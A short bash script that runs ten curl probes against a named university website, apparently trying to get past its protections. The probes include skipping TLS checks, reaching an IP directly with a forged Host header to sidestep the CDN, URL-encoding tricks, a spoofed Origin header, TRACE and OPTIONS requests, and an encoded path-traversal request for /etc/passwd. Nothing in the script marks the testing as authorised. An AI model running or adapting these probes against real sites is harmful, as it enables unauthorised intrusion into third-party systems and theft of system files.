#!/bin/bash
TARGET="https://an.fisip.unisri.ac.id"

echo "=== Approach 1: Direct with no TLS verify ==="
curl -sk "$TARGET/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 2: HTTP/1.0 ==="
curl -s --http1.0 "$TARGET/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 3: Via IP with Host header (104.26.0.172) ==="
curl -sk "https://104.26.0.172/" -H "Host: an.fisip.unisri.ac.id" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 4: Different encoding ==="
curl -s "https://an.fisip.unisri.ac.id%2f" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 5: Double slash ==="
curl -s "$TARGET///" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 6: Path traversal with encoding ==="
curl -s "$TARGET/..%2f..%2f..%2fetc%2fpasswd" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 7: With Origin header ==="
curl -s "$TARGET/" -H "User-Agent: Mozilla/5.0" -H "Origin: https://unisri.ac.id" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 8: HEAD request ==="
curl -sI "$TARGET/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 9: OPTIONS request ==="
curl -sI -X OPTIONS "$TARGET/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Approach 10: TRACE request ==="
curl -sI -X TRACE "$TARGET/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5
